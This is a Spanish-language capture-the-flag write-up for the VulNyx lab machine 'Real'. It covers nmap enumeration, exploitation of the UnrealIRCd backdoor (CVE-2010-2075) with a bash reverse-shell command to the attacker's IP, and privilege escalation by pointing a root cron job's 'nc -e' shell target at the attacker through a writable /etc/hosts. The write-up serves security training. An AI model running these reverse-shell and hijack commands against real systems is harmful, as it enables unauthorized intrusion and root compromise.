cd ~/blog

~/writeups/vulnyx/04-real.md

04 - Real

low Linux vulnyxautor: Jordy Pérez Osorio aviso legal
UnrealIRCd Backdoor RCE (CVE-2010-2075)Writable /etc/hosts + root cronjob
vulnyx.com

~1 min de lectura


El recorrido combina una vulnerabilidad conocida de un servicio antiguo con un abuso de confianza en la resolución de nombres. La puerta trasera de UnrealIRCd proporciona el acceso inicial, pero la escalada no depende de otro exploit: una tarea de root confía en que un dominio resuelva hacia el destino correcto. Al poder modificar /etc/hosts, controlamos esa decisión y hacemos que la conexión privilegiada termine en nuestra máquina.

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.38
❯ nmap -sCV -p22,80,6667,6697,8067 -oN 02-targeted.txt 192.168.1.38
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-08 14:23 -04
Nmap scan report for 192.168.1.38
Host is up (0.00052s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 db:28:2b:ab:63:2a:0e:d5:ea:18:8d:2f:6d:8c:45:2d (RSA)
|   256 cd:a1:c3:2e:20:f0:f3:f6:d3:9b:27:8e:9a:2d:26:11 (ECDSA)
|_  256 db:98:69:a5:8b:bd:05:86:16:3d:9c:8b:30:7b:a3:6c (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd
Service Info: Host: irc.foonet.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

El servicio dominante es UnrealIRCd, expuesto en varios puertos. Buscamos vulnerabilidades conocidas con searchsploit:

❯ searchsploit irc unreal
...
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                 | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                      | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                               | linux/remote/13853.pl
...

UnrealIRCd 3.2.8.1 arrastra una conocida puerta trasera (CVE-2010-2075) que permite ejecución remota de comandos. De los varios exploits disponibles, el que funcionó fue el de FredBrave/CVE-2010-2075-UnrealIRCd-3.2.8.1, con el que lanzamos una reverse shell:

❯ python3 CVE-2010-2075.py -t 192.168.1.38 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.38:59960.
bash: cannot set terminal process group (405): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$

Obtenemos una shell como server y la primera flag.

En el directorio /opt encontramos un script llamado task, propiedad de root, del que tenemos permiso de lectura:

server@real:/opt$ ls -l
total 4
-rwx---r-- 1 root root 277 May  3  2023 task

server@real:/opt$ cat task
#!/bin/bash

domain='shelly.real.nyx'

function check(){

        timeout 1 bash -c "/usr/bin/ping -c 1 $domain" > /dev/null 2>&1
    if [ "$(echo $?)" == "0" ]; then
        /usr/bin/nohup nc -e /usr/bin/sh $domain 65000
        exit 0
    else
        exit 1
    fi
}

check

El script (que se ejecuta periódicamente como root) hace ping al dominio shelly.real.nyx y, si responde, le envía una shell al puerto 65000 de esa máquina. Como /etc/hosts resulta ser escribible, secuestramos la resolución del dominio para que apunte a nuestra IP:

server@real:/opt$ ls -l /etc/hosts
-rw----rw- 1 root root 183 May  3  2023 /etc/hosts

server@real:/opt$ cat /etc/hosts
...
192.168.1.3	shelly.real.nyx
...

Nos ponemos a la escucha en el puerto 65000 y, cuando la tarea de root se ejecuta, recibimos la shell como root:

❯ ncat -nlvp 65000
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:65000
Ncat: Listening on 0.0.0.0:65000
Ncat: Connection from 192.168.1.38:50808.
id
uid=0(root) gid=0(root) groups=0(root)

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados